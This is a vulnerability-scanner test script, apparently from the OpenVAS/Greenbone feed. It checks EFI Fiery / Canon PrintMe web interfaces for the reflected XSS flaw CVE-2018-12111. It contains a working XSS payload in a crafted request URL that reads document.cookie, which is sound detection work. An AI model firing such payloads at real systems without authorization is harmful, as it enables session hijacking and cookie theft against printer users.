Canon PrintMe / EFI XSS Vulnerability

# Copyright (C) 2018 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:efi:fiery";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.813608");
  script_version("2021-09-14T11:54:23+0000");
  script_cve_id("CVE-2018-12111");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2021-09-14 11:54:23 +0000 (Tue, 14 Sep 2021)");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2018-07-30 17:52:00 +0000 (Mon, 30 Jul 2018)");
  script_tag(name:"creation_date", value:"2018-06-15 12:23:19 +0530 (Fri, 15 Jun 2018)");
  script_tag(name:"qod_type", value:"remote_analysis");

  script_name("Canon PrintMe / EFI XSS Vulnerability");

  script_tag(name:"summary", value:"Canon PrintMe / EFI software is prone to a cross-site scripting
  (XSS) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request checks the response.");

  script_tag(name:"insight", value:"The flaw is due to an input validation error in the Canon
  PrintMe EFI webinterface.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to inject
  arbitrary web script or HTML in a user's browser session within the trust relationship between
  their browser and the server.");

  script_tag(name:"affected", value:"Canon PrintMe / EFI software.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/44882");
  script_xref(name:"URL", value:"https://packetstormsecurity.com/files/148160");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2018 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_efi_fiery_consolidation.nasl");
  script_mandatory_keys("efi/fiery/http/detected");
  script_require_ports("Services/www", 443);

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");

if(!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if(!get_app_location(port: port, cpe: CPE, nofork: TRUE))
  exit(0);

req = http_get_req(port: port, url: "/wt3/mydocs.php?language=en");
res = http_keepalive_send_recv(port: port, data: req);

session_id = eregmatch(pattern: "Set-Cookie: PHPSESSID=([^;]+)", string: res);
if(!session_id[1])
  exit(0);

sess = session_id[1];

url = "/wt3/mydocs.php/'%22--!%3E%3Cimg%20src=x%20onerror=alert(document.cookie)%3E";
cookie_header = make_array("Cookie", "PHPSESSID=" + sess);

req = http_get_req(port: port, url: url, add_headers: cookie_header);
res = http_keepalive_send_recv(data: req, port: port);

# nb: Older versions of this VT had also checked for the following:
# 'alt=CANON' >< res &&
# This was removed to make this VT more generic for other non-canon printer devices using
# the same vulnerable EFI software.
if(res =~ "^HTTP/1\.[01] 200" && '>EFI Software End User License Agreement' >< res &&
   "alert(document.cookie)" >< res) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(data: report, port: port);
  exit(0);
}

exit(99);